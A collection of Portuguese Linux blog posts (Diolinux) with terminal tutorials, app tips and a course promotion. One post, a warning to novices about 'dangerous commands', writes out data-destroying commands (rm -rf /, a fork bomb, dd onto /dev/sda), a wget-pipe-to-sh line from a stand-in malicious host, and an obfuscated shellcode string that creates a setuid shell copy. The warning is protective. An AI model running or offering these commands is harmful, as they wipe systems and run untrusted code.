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48 horas para você dominar o Terminal Linux!

Você é o tipo de usuário Linux que vive brigando com o terminal? Então hoje você terá a oportunidade de fazer o nosso curso completo de Bash e aprender a falar a língua do terminal pelo mesmo valor de um mês na Netflix!

Aprenda a língua do terminal Linux- Curso de Bash




Nós elaboramos um curso para você virar craque no terminal e não ter mais medo da "telinha preta", sem enrolação!

São um total de 15 vídeo aulas com duração variada e material complementar onde você vai aprender a "língua" do terminal Linux, os assuntos abordadores serão os seguintes:

 - Os principais comandos do terminal;
- Entradas e saídas
- Redirecionamento para arquivos
- Redirecionamento entre processos
- Variáveis
- Comandos para gerenciar arquivos
- Comandos para administrar o sistema
- Como encontrar ajuda para trabalhar de forma autônoma depois do curso
- Gerenciamento de espaço de rede

E muito, muito mais!

Bônus: Comprando nesta promoção você irá receber gratuitamente um treinamento de 30 minutos extra sobre o editor de textos VIM, muito popular no mundo Linux.

Objetivo: Perder o medo de usar o terminal e passar a enxergá-lo como a ferramenta poderosa que é para te auxiliar a ter controle absoluto sobre o seu computador.

A quem se destina: Pessoas interessadas em aprofundar os seus conhecimentos do Linux e dispostas a terem o controle completo do computador em suas mãos.

Certificado: Você receberá um certificado de finalização do curso assinado com o nome do instrutor e com o nome do diretor do Diolinux EAD.

Carga Horária: O tempo de duração do curso gira em torno de 4,5 horas, entretanto, o valor pode praticamente dobrar se você fizer todos os exercícios propostos durante as aulas.

Conheça o seu professor!


Por quanto?


Claro, não menos importante é o valor para acesso a esse incrível conteúdo. Como eu disse no início, vai ser o valor de uma mensalidade da Netflix para você poder adquirir este conhecimento e virar um Ninja no Terminal.

As aulas serão no nosso EAD e você terá acesso a este curso por apenas R$ 19,90, mas atenção, esta oferta vale por apenas 48 horas e apenas para os primeiros 50 compradores! Caso as 50 vendas sejam feitas nas próximas horas a promoção vai se encerrar e o preço voltará ao seu padrão, R$ 79,90. Encerrando-se dia 12/04/2017 às 14 horas.
Curso de Bash
Clique para pegar o seu!
E aí, está esperando o que pra dominar o terminal de vez?


Até a próxima!
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segunda-feira, 10 de abril de 2017

Do Bash para o ZSH - Como alterar o terminal padrão no Linux

Por mais que isso seja algo que maior parte dos usuários não dá muita importância, é bom que você saiba que o Bash, apesar de ser o interpretador de comandos padrão e mais popular, não é a única alternativa que você tem, aliás, existem algumas outras muitos interessantes, como o ZSH, que você aprenderá a configurar hoje.

Substituindo o bash pelo ZSH




Eu não sou um árduo usuário de terminal no Linux, dado o meu envolvimento com o público mais leigo, eu muitas vezes evito usar ele para poder sentir na pele quais são as dificuldades, dúvidas e problemas que os usuários podem ter e assim poder construir alguns dos artigos do blog, mas confesso que me interesso pelo assunto e é sempre bom conhecer novas ferramentas.

Mais de um mês atrás eu estava falando com o meu grande amigo Gabriel, do canal Toca do Tux, sobre interpretadores alternativos ao Bash, visto que ele está fazendo uma série em seu canal intitulada "Muito além do GNU", que está muito interessante à propósito, onde ele mostra que apesar do Linux e do GNU serem comumente relacionados, um consegue existem sem o outro, e então ele me fez uma apresentação "formal" do ZSH, um shell com vários recursos interessantes para power users e que ele utiliza profissionalmente há muito tempo.

Há algum tempo atrás eu fiz um vídeo comparando um recurso que me chamou a atenção dentro do ZSH, confira abaixo:



Como não encontrei nenhum tutorial muito bem explicado sobre o assunto, hoje eu vou te mostrar como você pode trocar o shell padrão do seu sistema sem muita complicação, no caso vamos fazer a troca para o ZSH, mas o procedimento serve para qualquer outro que você goste mais, basta saber o caminho do binário dele.

Instalando o ZSH e substituindo o Bash como Shell padrão


O ZSH já está disponível no repositório da maioria das distribuições Linux, então fica fácil de instalar, mas caso você queria fazer de forma manual, há também a página no GitHub dele, lá você encontra informações sobre um projeto chamado "Oh My ZSH!" que vai turbinar o seu ZSH ainda mais, caso você queria extrair ainda mais do potencial da ferramenta.

No Ubuntu o processo de instalação via terminal é assim:
sudo apt install zsh
É só isso mesmo, fácil né?

Bom, uma vez que você abra o terminal, provavelmente ainda estará utilizando o Bash, para passar a usar o ZSH dentro do mesmo terminal basta digitar:
zsh 
Zsh Ubuntu

Repare como o terminal mudou seu visual, ao invés de você ter o popular "$" indicando o seu usuário comum, agora você tem um símbolo percentual. No caso de usar o root, tanto Bash, quanto ZSH vão exibir o tradicional "#".

Ok, então para você usar o ZSH basta digitar "zsh" dentro do Bash, mas e se você quiser que o emulador de terminal já abra com o ZSH como padrão, "como faz"?

Simples também, vamos usar o terminal novamente, precisamos editar o arquivo passwd que fica dentro deste diretório:
/etc/passwd
Para isso você pode usar um editor de textos de sua preferência, gedit, kate, vim, nano, etc, etc, então escolha o que mais gostar e vamos em frente. Por exemplo, usando o gedit:
sudo gedit /etc/passwd
gedit terminal padrão

Procure pela linha do seu usuário, ela deve estar ao final do arquivo, no meu caso na linha 40, mas o seu pode estar em outra, então olhe com calma.

Reparece que existe uma informação logo ao final da linha":/bin/bash", tudo o que temos a fazer aqui é trocar a palavra "bash" por "zsh".

Configurando ZSH

Depois de fazer a alteração, salve o documento. Será necessário encerrar a sessão do seu sistema e logar-se novamente, se preferir, você pode reiniciar também, mas isso provavelmente não será realmente necessário.

Ao logar-se novamente e abrir o terminal você já estará utilizando o ZSH, para reverter a configuração de volta para o Bash basta repetir este tutorial e mudar novamente o arquivo de configuração para "bash" no final ao invés de "zsh". Alternativamente, da mesma forma que você fez antes para testar o ZSH enquanto o Bash era o padrão, basta digitar "bash" dentro do terminal com o ZSH que o Bash volta rapidinho à aparecer.

Até a próxima!

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quinta-feira, 16 de março de 2017

Criando comandos personalizados do Terminal (Bash) do Linux

O Bash possui um recurso muito interessante que permite que você crie "atalhos" para comandos mais complexos. O recurso recebe o nome de "alias", ou "apelido/pseudônimo" do Inglês, isso permite que você agilize muitas tarefas do seu dia a dia.

Como criar Aliases no Terminal Linux


Entenda o recursos como uma forma de você abreviar comandos mais complexos, por exemplo, para atualizar o seu Ubuntu você poderia usar o seguinte comando:
sudo apt update && sudo apt dist-upgrade
Não seria bacana se ao invés de você digitar tudo isso você simplesmente digitasse:
atualizar
E o resultado fosse exatamente o mesmo do comando anterior? Então, é exatamente isso que o "alias" nas configurações do Bash permite que você faça.

Para entender melhor, confira o vídeo dos nossos parceiros do Oficina do Tux:


O funcionamento é simples, você basicamente precisa editar o arquivo .bashrc dentro da sua home para poder criar esses "atalhos", você pode usar o Gedit ou qualquer outro editor de textos para isso.

Vamos fazer um exemplo.

Abra o .bashrc:
gedit ~/.bashrc
Role a página até encontra uma sessão de "aliases" para fins de organização, assim você criar quantos quiser e deixá-los todos juntos:

Alias Terminal Ubuntu

A métrica de funcionamento é simples:

alias atualizar='sudo apt update && sudo apt dist-upgrade'

A frase sempre deverá começar com a palavra "alias", como indicado, a próxima palavra deverá ser o "alias" que você quer usar, ou seja, o comando que vai ser utilizado no lugar no comando maior, indicado no exemplo em vermelho, logo após teremos um sinal de igual, abrindo aspas simples e como destacado em azul, você deve inserir o comando que será executado quando o "alias" que você definiu for digitado no terminal Bash, lembre de fechar as aspas simples ao final e salvar o arquivo para que o Bash possa interpretá-lo.

Você pode criar quantos quiser, para a finalidade que quiser, tudo isso vai deixar o seu terminal muito intuitivo.

Veja também: Quer dominar o Bash? Conheça o nosso curso de Terminal

Para reverter o processo basta você apagar as linhas que você adicionou ou comentá-las usando "#" no início da frase, sem as aspas.

Outra forma de resetar as configurações é apagar o arquivo .bashrc dentro da sua home, assim que você abrir o terminal novamente, ou encerrar a sessão, logar-se e abrir o terminal novamente ele será recriado.

Esse procedimento afeta somente o seu usuário, caso você queria que essas mudanças no Bash funcionem para qualquer usuário do seu computador, ao invés de editar o arquivo dentro da home você deverá editar o arquivo bash.bashrc dentro de /etc.

Até a próxima!
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sexta-feira, 10 de março de 2017

7 comandos perigosos do Linux que você NUNCA deve executar

Como o número de usuários leigos de Linux vem aumentando com o tempo, acho pertinente alertar as pessoas sobre alguns comandos que podem ser perigosos, tanto para o sistema, quanto para os dados contidos no computador.

7 Comandos perigosos do mundo Linux




O terminal é uma ferramenta muito poderosa, por conta disso é bom você dominá-lo, ou pelo menos entendê-lo, para evitar problemas no seu sistema baseado em Linux.
Veja também: O curso no Diolinux EAD para aprender a dominar o terminal
Os grandes problemas que você pode enfrentar usando o terminal de forma indiscriminada normalmente estão atrelados a comandos de sobrescrita de dados, então vamos mostrar alguns aqui que você deve prestar especial atenção quando vir alguém sugerindo que você faça no seu computador com Linux.

Atenção: Você NÃO deve executar nenhum destes comandos no seu computador, isso pode causar danos irreversíveis que nós não nos responsabilizamos, o artigo tem a intenção de ser instrutivo, justamente para evitar este tipo de situação.

1 - rm -rf


É um comando clássico do do Linux que teoricamente não faz nada de mais, ele serve apenas para apagar arquivos, e é aí que mora o perigo. Dependendo da forma que ele for aplicativo o resultado pode ser muito desagradável, por isso é importante você entender o que os comandos fazem, vamos explicar um pouco melhor neste exemplo:
- rm: comando usado no Linux para deletar arquivos.
- rm -r: o comando deleta pastas recursivamente, mesmo que a pastas esteja vazia.
- rm -f: cUsando este parâmetro, o propriedade de "apenas leitura" que um arquivo tenha é removida sem perguntar, permitindo que o arquivo seja apagado.
- rm -rf / : Usando a combinação dos dois parâmetros com a "/" você diz para o sistema apagar tudo que está no diretório raiz do sistema.
- rm -rf * : Força o apagamento de tudo que está no diretório atual ou no de trabalho, dependendo de onde você estiver.
- rm -rf . : Acrescentando um ponto, você pode apagar também as pastas ocultas, além das normais.

Tome muito cuidado ao executar um comando destes, especialmente se for feito como root ou usando o sudo.


Tão perigoso que pode ser este comando, que atualmente o Linux se protege contra ele, se você rodá-lo, mesmo com sudo ou como root, ele não vai funcionar, para isso é preciso usar os parâmetros descritos na imagem acima. Da mesma forma que o Linux protege você de destruir o sistema sem querer, ele também permite que você o destrua mediante a ter certeza de que é realmente isso que você quer, curioso, não é?

2 - :(){:|:&};:


Este comando funciona como uma "Fork Bomb", ele opera definindo uma função chamada ':', que se chama duas vezes, uma vez em primeiro plano e outra em segundo plano, o processo se repete indefinidamente até que o sistema trave.

3 - qualquer comando para > /dev/sda


A forma com que o Linux lê as partições e discos é diferente do Windows, por conta disso, normalmente novatos não conseguem entender em primeira instância como eles são distribuídos. Normalmente a localização dos dispositivos de armazenamento do sistema ficam dentro de /dev, sendo que podem haver vários por ali e normalmente o sda está presente.

O problema do comando acima é que ele redireciona a saída de qualquer comando que seja colocado para o seu bloco de armazenamento, desta foma sobrescrevendo alguns dados e corrompendo outros.

4 - mv pasta/diretório /dev/null


Eu costumava brincar sobre o /dev/null me referindo a ele como o "buraco negro" do Linux. Tudo que é enviado para ele é perdido "para sempre". Então tome cuidado ao mover qualquer coisa para esta localização. O comando mv serve para mover arquivos ou diretórios para o destino indicado, se este destino for o /dev/null você estará mandando seus arquivos pra Nárnia.

5 - wget http://malicious_source -O- | sh


Este comando vai aparecer para você instalar alguns programas. O wget é o programa responsável por fazer o download da URL que vem logo após, ele é bem útil para baixar arquivos em geral, o problema está no arquivo que ele baixa e na sequência do comando  que o executa no caso dele ser um shell script. Só baixe arquivos desta forma de fontes que você considera confiáveis e se estiver na dúvida, baixe apenas o arquivo de shell, eliminando qualquer parâmetro que apareça após o link, assim você pode abrir ele em um editor de texto de sua preferência e verificar o que há dentro dele.

6 - dd if=/dev/random of=/dev/sda


Assim como o ítem 3 da nossa lista, o grande problema aqui é o destino ser o /dev/sda. Tome cuidado. O comando dd pode ser muito útil para copiar arquivos e até mesmo partições inteiras, como no exemplo 6, mas se a saída for um outro disco, tome cuidado, pois o resultado irá sobrepor os dados lá existentes.

7 - Comandos disfarçados


Como eu comentei à princípio, o terminal é uma ferramenta poderosa, se você não dominá-lo, é bom ter cuidado com que você for rodar nele, se o você não fala a língua do terminal, saiba que ele fala muitas outras. O comando abaixo nada mais é do que o comando indicado no primeiro item da nossa lista, só que em forma hexadecimal.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

Ele tem o mesmo propósito do famigerado "rm -rf /", por isso, não rode coisas no terminal que você não sabe para quem servem, existem muito conteúdo grátis a internet para você estudar sobre e até mesmo alguns bons cursos pagos, como é o caso do "Dominando o Terminal" aqui do blog mesmo, mas em linhas gerais, se você evitar colocar comandos que você não sabe para que servem direito, os problemas já serão minimizados. 

Agora espalhe este conhecimento para ajudar mais pessoas a ficarem precavidas sobre estes pequenos percalços da vida computacional.

Até a próxima!
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quarta-feira, 25 de janeiro de 2017

Cool Retro Term - Um terminal cheio de estilo para você usar no Ubuntu e no Linux Mint

Que tal dar uma incrementada no visual do seu terminal e ainda dar um visual retrô para ele para se sentir um "hacker das antigas"? Conheça agora o belo Cool Retro Term.

Ubuntu Cool Retro Term




O Cool Retro Term não traz para o usuário nenhuma utilidade prática diferenciada de um aplicativo de terminal, sem grande diferencial é a sua aparência mesmo e seus vários temas. Através do menu "Profiles" você poderá escolher entre 9 temas diferentes, confira:

Cool Retro Term

Cool Retro Term

Cool Retro Term

Cool Retro Term

Cool Retro Term

Cool Retro Term

Cool Retro Term

Cool Retro Term

Cool Retro Term

As imagens não conseguem representar completamente, mas todos os temas tem animações nas suas telas e você encontra mais algumas opções de personalização nas configurações do aplicativo, como remover as bordas que lembram um televisor antigo.

Como instalar no Ubuntu e no Linux Mint


A instalação no Ubuntu ou no Linux Mint é feita através de um PPA.

PPA: ppa:noobslab/apps


Se você preferir fazer pelo terminal:
sudo add-apt-repository ppa:noobslab/apps 
sudo apt-get update
sudo apt install cool-retro-term
Você encontrará o aplicativo diretamente no menu do seu sistema.

Até a próxima!
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terça-feira, 10 de janeiro de 2017

Conheça o "Hollywood" o comando do terminal Linux mais zoeiro da história

Você já deve ter reparado que Hollywood gosta de representar um "hack" a algum sistema ou computador com muitas imagens que parecem algo muito complexo, de preferência cheio de "letrinhas" coloridas e telas piscando. Hoje você vai aprender a criar uma coisa assim no seu terminal.

Hacker de Hollywood no Ubuntu





Nos vídeos que nós fizemos sobre a série Mr. Robot, um dos comentários mais recorrentes que tivemos foi justamente sobre a verossimilhança da série e o quanto, desta forma, ela acaba agrando os profissionais da tecnologia, porém, não podemos esperar que todos os filmes e séries tenham o mesmo compromisso, muitas vezes uma tela bem desenhada e com um visual mais descritivo pode funcionar melhor para o público.

Como zoeira pouca é bobagem e o terminal Linux só não faz pizza (ou faz?), hoje vou vai aprender a "pagar de hacker" usando um comando só.

Se você é um cara quer aprender um pouco mais sobre o terminal, de forma séria, eu recomendo ler o nosso post recente que te mostram alguns comandos do Terminal que pode ser bem úteis e uma série de outras dicas.

Hollywood

Baseado na criatividade dos hackers hollywoodianos é que foi criado um pacote chamado hollywood, ele roda vários pequenos programas no terminal de uma forma muito dinâmica e ainda toca a música do "Missão impossível" (sério!")

Para instalar no Ubuntu e derivados abra o terminal e digite:
sudo apt install hollywood
Depois de instalado basta rodar o comando "hollywood" e aproveitar o show!
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sábado, 3 de dezembro de 2016

7 comandos do terminal que fazem coisas curiosas e úteis

O terminal Linux é algo com muito mais recursos do que se possa imaginar, existem várias coisas curiosas que é possível fazer através dele, desde ouvir músicas e ver vídeos até algumas coisas menos úteis, mas ainda assim divertidas.

Dicas para dominar o terminal Linux




Nós preparamos para você um curso especial de Bash para você ficar ninja no terminal, mas isso não quer dizer que todas as dicas tenham acabado, muito pelo contrário, temos aqui mais 7 dicas para você usar no seu terminal e quem sabe ter um pouco mais de produtividade com ele.

Se você quiser mais algumas dicas grátis em vídeo clique aqui e confira a jornada épica do Tiago, desenvolvedor da Canonical que nos ajudou a bolar o curso.

Vamos lá então, hora de aprender alguns comandos novos!

1 - wc (word count) 


Esse comando serve para você contar quantas palavras, caracteres e linhas existem dentro de um determinado arquivo de texto, o seu uso é muito simples. Se não passar opção nenhuma ele informa as 3 contagens, mas você pode especificar se quer somente linhas com -l, somente palavras com -w ou somente caracteres com -c. Veja alguns exemplos:
 wc /etc/hosts
wc -l /etc/hosts
wc -w /etc/hosts
wc -c /etc/hosts

2 - arecord e aplay


São comandos do pacote alsa-utils que, além de outras coisas, permitem que você grave e toque sons diretamente no terminal.

O comando "arecord -f cd" por padrão imprime no stdout* o resultado da gravação de áudio (um arquivo .wav) a partir de um microfone disponível, e isto vai sujar a tela com dados binários, por isso usamos a funcionalidade de redirecionamento* do bash para jogar o conteúdo para um arquivo. Veja que no exemplo o arquivo criado "meu_podcast" não contém a extensão .wav. Isto é proposital pois usaremos o mesmo arquivo para explicar o próximo comando. Veja o exemplo:
arecord -f cd 1> meu_podcast
E para tocar o arquivo basta utilizar o comando aplay:
aplay meu_podcast

3 - file


No linux as extensões dos arquivos são opcionais, portanto nem sempre é possível dizer qual é o tipo de arquivo só olhando o seu nome.

Para isso podemos usar o comando file (do pacote chamado file no Ubuntu), que analisa o interior do arquivo e tenta nos dizer qual tipo ele é. ex:
file meu_podcast
O resultado pode ser algo parecido com isso:

meu_podcast: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, stereo 44100 Hz

Ou outro exemplo:
file /bin/bash
Que vai trazer um resultado assim:

/bin/bash: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0428e4834e687e231fa865562d32fbb64ce45577, stripped

4 - head e tail


São comandos para respectivamente listar as primeiras e últimas linhas de um arquivo, ou do conteúdo recebido na entrada padrão (stdin*). Head vem do inglês "cabeça" e tail "cauda".

O parâmetro -n indica o número de linhas. Se o parâmetro -n não for passado, os comandos assumem que serão 10 linhas.
head -n 5 /etc/hosts
head /etc/hosts
tail -n 2 /etc/hosts
tail /etc/hosts

O seguinte comando mostra como o head e o tail podem ser usados em um exemplo mais complexo, como em uma pipeline* do bash.
ps aux | tail -n 7


5 - du


O comando "du" nos ajuda a descobrir quanto de espaço um diretório/pasta está ocupando no disco.
Mas para ele ser realmente útil é preciso de algumas opções extras.

O comando seguinte permite que o "du" crie um sumário de cada um dos diretórios na raiz do sistema. Isto claro que pode demorar um pouco, afinal ele vai percorrer todo o disco e gerar um resumo em megabytes.
sudo du -m --max-depth=1 /
Vamos supor que você descubra que o diretório /home está ocupando muito espaço, então você pode começar uma verdadeira "caça às bruxas" e procurar o diretório que está roubando seu espaço em disco:
sudo du -m --max-depth=1 /home
E assim por diante.

6 - cal


O comando "cal" nos mostra um calendário do mês atual direto no terminal:
cal
A saída vai ser algo parecido com isto:

          
             
Mas o comando cal também pode mostrar o calendário completo de um ano com o comando -y.

Mostrando o ano atual:
cal -y
Mostrando algum outro ano:
cal -y 2017
Aproveite a saída e veja em que dia da semana cai o seu aniversário no ano que vem.

7 - history


O comando history é um comando interno no bash. (builtin*). Ele serve para imprimir pra você os comandos anteriores já executados na linha de comando.

É basicamente um histórico que o Bash mantém, assim como os navegadores guardam os sites que você já visitou.
history
Se você não está familiarizado com estes termos de linha de comando (stdin, stdout, pipeline, builtin, redirecionamentos, etc) e quer aprender mais sobre terminal e sobre o interpretador Bash (que é o padrão do Linux, independente da distro), veja esta apresentação do curso dominando o terminal Linux, onde passamos mais 3 dicas sobre linha de comando que vão facilitar sua vida.


Até a próxima!




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quinta-feira, 1 de dezembro de 2016

Dicas para dominar o terminal Linux

Muitas pessoas encaram o Terminal Linux como um fator de dificuldade para utilizar o sistema, porém, nós temos que observá-lo pela ótica pela qual ele foi projetado, ou seja, ele é uma ferramenta poderosa para administração do sistema, dominando o terminal você conseguirá dizer para o computador exatamente o que você quer que ele faça.

Dominando o Terminal Linux





Muitas pessoas tem medo ou aversão ao Terminal, porém, atualmente no Linux ele é uma ferramenta opcional, no melhor estilo "usa quem quiser", basta usar uma distribuição que tenha ferramentas para isso, entretanto, dominar o terminal é algo essencial para você tomar as rédias do seu computador, e não somente no Linux, mas até mesmo no Windows e no Mac, o fato de você conseguir "conversar" na língua do Terminal permite que você faça tudo o que você quiser com o seu computador, o que é algo fantástico, sem sombra de dúvidas!

Eu sei que como o terminal não é uma ferramenta intuitiva, as vezes pode ser complicado utilizá-lo em primeira instância, mas eu lhe asseguro que não é nada demais  e para te ajudar a criar fluência no terminal (o quão fluente você é no terminal?) o Tiago Salem, engenheiro da Canonical e do Ubuntu Phone, e eu, fizemos um vídeo para te passar algumas dicas muito legais, assim você não vai ter mais medo do terminal, confira:



Como você viu no vídeo, nós temos uma promoção incrível rolando para você virar um ninja do terminal, mas o tem é curto, vai até o meio-dia do dia 13 de Outubro, no momento deste post você tem menos de 20 minutos para participar.
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quinta-feira, 13 de outubro de 2016

Guake Terminal - Uma forma prática para você dar comandos para a sua distribuição Linux

Quem vive mexendo no terminal Linux pode encontrar no Guake uma ferramenta interessante para interagir com o computador de uma forma muito prática, conheça um pouco melhor a aplicação.

Guake Terminal Ubuntu Screenfetch




Imagine um terminal que você pode acessar de qualquer lugar e que não é necessário nada além de uma única tecla para abri-lo; suporte a múltiplas abas, teclas de atalho, configuração de temas, organização visual e possibilidade de criar comandos automatizados, este é, em resumo, o Guake Terminal.

A configuração padrão do Guake Terminal permite que você abra ele pressionando a tecla F12, esteja você onde esteja, em qualquer pasta ou programa do sistema, ele vai se abrir e você pode digitar o comando que quiser, pressione F12 novamente e ele se esconde, você pode deixar comandos no terminal rodando em segundo plano e assim otimizar a sua produtividade.

Obviamente, a tecla de atalho para abrir ele, a sua posição e muito mais, podem ser configuradas facilmente para deixar ele funcionando como você quiser. Ao instalar ele no Ubuntu, seguindo o exemplo da imagem acima, ele vai criar um indicador na barra superior, este indicador serve para duas coisas:

1 - Mostrar que ele está em execução e disponível para você abrí-lo via tecla de atalho ou clicando no ícone mesmo;

2 - E também permite que você acesse rapidamente o menu de configurações para ajustar as suas preferências.

Como instalar o Guake Terminal


Essa é a parte mais fácil, você encontra ele no repositório oficial de praticamente todas as distribuições, então confira a Central de Programas da sua distro, certamente você vai encontrá-lo por lá.

Guake Terminal

Depois de instalado, você encontra o aplicativo no menu do sistema, basta clicar nele e começar a utilizar.

Conte pra gente se você já conhecia a ferramenta e qual é a sua opinião sobre ela, a sessão de comentários está logo abaixo.

Até a próxima!
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quinta-feira, 29 de setembro de 2016

Canonical mostra o novo terminal convergente para o Ubuntu com Unity 8

A Canonical publicou uma documentação explicando os novos conceitos visuais e funcionais do terminal que vai acompanhar o Unity 8, além bonito ele está com várias funções interessantes, vamos dar uma olhada?

Ubuntu Unity 8 Terminal




Para quem aguarda ansioso pela versão estável e ajustada para desktop do Unity 8 este é mais um motivo para roer a as unhas. A Canonical mostrou como vai funcionar o terminal da interface gráfica convergente, tanto no computador, quanto em dispositivos móveis.

A última atualização no aplicativo trouxe os seguintes recursos aprimorados:

- Atalhos do teclado
- Atalhos customizáveis para Touch e Teclado
- Opção de tela dividida (horizontal, vertical)
-  Paleta de cores customizável
- Transparência da janela (no desktop)
- Histórico de comandos ilimitado
- Função 'Find' para pesquisar o histórico

Terminal convergente Ubuntu

Atualmente este aplicativo está apenas disponível para os Tablets e celulares com o Ubuntu, você pode ler mais sobre o aplicativo, suas funções e ver mais algumas imagens no post da Canonical.

Ubuntu Terminal no Ubuntu Phone


Até a próxima!
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terça-feira, 23 de agosto de 2016

PowerShell do Windows agora é open source e roda no Linux e no Mac OS X

A Microsoft anunciou que o PowerShell do Windows agora está com o código fonte aberto e disponível no GitHub e que agora é possível utilizá-lo no Linux e no Mac OS X também, saiba mais:

Windows Power Shell open source






O PowerShell é o mais próximo possível do Bash do Linux que você encontra no Windows, exceto é claro, o próprio Bash.  Satya Nadela, CEO da Microsoft, mudou muito a forma da empresa tratar os seus próprios programas e na tentativa de universalizar os recursos do Windows é que este tipo de ação acontece e deverá continuar acontecendo. Confira o vídeo de anúncio:


Usuários de Linux no Ubuntu, CentOS e Red Hat, assim como os usuários OS X podem agora baixar e executar o PowerShell a partir do repositório GitHub. 

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sexta-feira, 19 de agosto de 2016

Qual a diferença entre os comandos "upgrade", "dist-upgrade" e "full-upgrade?

Aí está uma coisa que muita gente tem dúvida, o que cada comando de atualização faz exatamente? Qual a diferença entre dar um "upgrade" e dar um "dist-upgrade"? É isso que você vai descobrir agora.

Qual é a diferença entre upgrade e dist-upgrade




Todos estes comandos servem para atualizar o Ubuntu e outras distribuições derivadas, a diferença é bem sutil, porém, ainda assim são diferentes, entenda:



apt-get upgrade: Vai atualizar todas as versões dos pacotes instalados, sem remover pacotes.

apt-get dist-upgrade: Também atualiza os pacotes, porém remove e instala pacotes também se for necessário, muitas vezes alguns pacotes precisam ser instalados como dependências para certos aplicativos atualizarem, essa opção faz isso, ao contrário da anterior. Digamos que seja uma forma mais completa, porém, "mais arriscada", pois vai modificar o sistema mais profundamente.

Recentemente o Ubuntu adicionou também o suporte para a simplificação do comando "apt-get", ele tornou-se simplesmente "apt", e o mesmo possui alguns diferenciais que nós já explicamos em outro post, clique aqui para ver.

A modificação permite que usemos um outro comando:

apt full-upgrade: Faz basicamente o mesmo que o "dist-upgrade".

Essa é basicamente a diferença, espero que tenha ficado claro para você, até a próxima!
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quarta-feira, 3 de agosto de 2016

Principais comandos do Linux: Saiba o Básico

O bom usuário de Linux deve conhecer pelo menos o básico dos comandos em terminal.
A primeira vista parece ser mais complicado, mas depois que você se inteirar melhor com este mecanismo
vai perceber que conseguirá fazer as suas atividades na sua distro com muitos mais rapidez e eficiência:

Principais comandos Linux

Se você busca mais informações sobre comandos para o Ubuntu em específico, clique aqui e confira o artigo especial.
Leia também: Principais atalhos do Terminal Linux
Aqui eu vou colocar alguns comandos que eu acho que são os principais.

Comandos básicos


  • mv [-i]: mover ou renomear arquivos.
  • rm [--]: deletar arquivos.
  • mkdir/rmdir: cria/deleta diretórios.
  • ln -s path link: cria links simbólicos (symlinks) para arquivos ou diretórios 
  • cp [-ir]: copiar arquivos.
  • ls [-al]: listagem do diretório. 

  • Outros comandos



  • file: determina o tipo do arquivo (/etc/magic).
  • cat: exibe o conteúdo do arquivo na tela.
  • head / tail: exibe linhas no inicio / fim do arquivo.
  • less / more: lista o conteúdo do arquivo.
  • man filename: manual online do programa.
  • ctrl+alt+del/reboot: reinicia o sistema.
  • shutdown -h now/halt: desliga o computador.


  • Mais no terminal



  • stty -a: lista configurações do terminal.
  • reset: reseta o terminal (volta ao normal).
  • (SHIFT)PGUP/PGDN: barra de rolagem do bash.
  • TAB: auto-completa os comandos digitados no terminal.
  • MOUSE2/3: cola o texto selecionado (gpm).
  • CTRL+S (Scroll Lock): desabilita o vt.
  • CTRL+Q (Scroll Lock): habilita o vt (tente isto caso o terminal trave).
  • ALT+Fx: muda de console.
  • CTRL+ALT+Fx: muda de console em modo gráfico.


  • Usuários




  • w: informações gerais sobre usuários logados e seus processos.
  • who: informações dos usuários atuais (do utmp)
  • last: listagem do histórico de logins (/var/log/wtmp)
  • lastlog: retorna informações sobre últimos logins.


  • Matando processos


    kill: as opções mais comuns são (onde id é o mesmo que PID):

  • kill -HUP id-do-processo: reinicia processo.
  • kill -9 id-do-processo: mata processo.
  • killall processo: mata processo pelo nome.
  • killall -HUP processo: reinicia processo pelo nome.


  • Sistema



  • df -h (espaço livre e ocupado nos discos)
  • du -sh(x) (espaço ocupado pelo diretório e seus subdiretórios)


  • Informações do sistema



  • free: status da memória e swap.
  • vmstat: status da memória virtual (processos, cpu).
  • lsdev, lspci: listagem do hardware/dispositivos pci.
  • pnpdump: retorna configuração das placas ISA PnP.
  • lsmod / rmmod: lista/remove módulos na memória.
  • procinfo: cat /proc ;)


  • Informações do ambiente X



  • xdpyinfo: recursos do servidor X.
  • showrgbq: retorna a database de cores rgb.
  • xlsfonts: lista as fontes reconhecidas pelo X.
  • xset m 5/2 1: ajusta a velocidade e aceleração do mouse.


  • Rede



  • lsof -n -i:80 (-i4: ipv4 e -n: sem resolver hostnames)
  • fuser -v 80/tcp (lista processos que escutam na porta tcp 80 em modo ps-like)

  • Pipes e Redirecionamentos


    Através de 'pipes', a saída de um comando (stdout [file descriptor 1]) é passada como a entrada (stdin) do outro. Em geral, a saída é o terminal e a entrada o teclado. Exemplos:

    $ dmesg | less ; ls -l | more
    $ echo "mensagem" | wall 


    Através de '<' e '>' é possível definir qual será o stdin e o stdout. Exemplos:

    $ dmesg > dmesg.txt ; more < dmesg.txt
    ls -l /tmp >> list.txt (concatena) 

    O sinal de maior é equivalente ao comando tee.

    E para alterar o stderr (mensagens de erro [file descriptor 2]):

    $ ls /admin > list.txt 2> erros.txt (se o diretório não existir, o stderr será o erros.txt e o stdout o list.txt)

    $ ls /admin > list.txt 2>&1 listagem_e_erros.txt (se houver, erros serão repassados para o mesmo local que o stdout)


    Operadores Lógicos



  • &&: 'e' (retorna true se todas as expressões forem verdadeiras)
  • ||: 'ou' (retorna true se uma das expressões forem verdadeiras)

  • O sinal ';' executará ambas as expressões independente do retorno. Por exemplo:


    $ make ; make install (os comandos serão executados em sequência)
    $ make && make install (o segundo comando somente será executado se o primeiro não retornar erro)

    Se você tiver mais sugestões de comandos, fique à vontade para adicionar nos comentários.

    Até a próxima!